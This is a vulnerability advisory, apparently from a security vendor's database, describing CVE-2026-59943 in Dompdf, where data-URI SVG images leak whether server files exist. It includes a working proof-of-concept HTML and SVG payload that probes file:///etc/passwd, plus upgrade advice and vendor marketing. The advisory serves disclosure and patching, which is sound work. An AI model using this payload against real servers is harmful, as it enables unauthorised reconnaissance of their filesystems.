Summary
Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196
PoC
First, the attacker renders this HTML document:
<html>
<head>
</head>
<body>
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=">
Hello World!
</body>
</html>
The <img> tag contains the following SVG content:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
</svg>
As expected, the resulting PDF contains a broken image:
However, when supplying a path to a file or directory that does not exist, for example:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
</svg>
The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-59943? CVE-2026-59943 is a medium-severity security vulnerability in dompdf/dompdf (composer), affecting versions < 3.1.6. It is fixed in 3.1.6.
- Which versions of dompdf/dompdf are affected by CVE-2026-59943? dompdf/dompdf (composer) versions < 3.1.6 is affected.
- Is there a fix for CVE-2026-59943? Yes. CVE-2026-59943 is fixed in 3.1.6. Upgrade to this version or later.
- Is CVE-2026-59943 exploitable, and should I be worried? Whether CVE-2026-59943 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59943 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59943? Upgrade
dompdf/dompdfto 3.1.6 or later.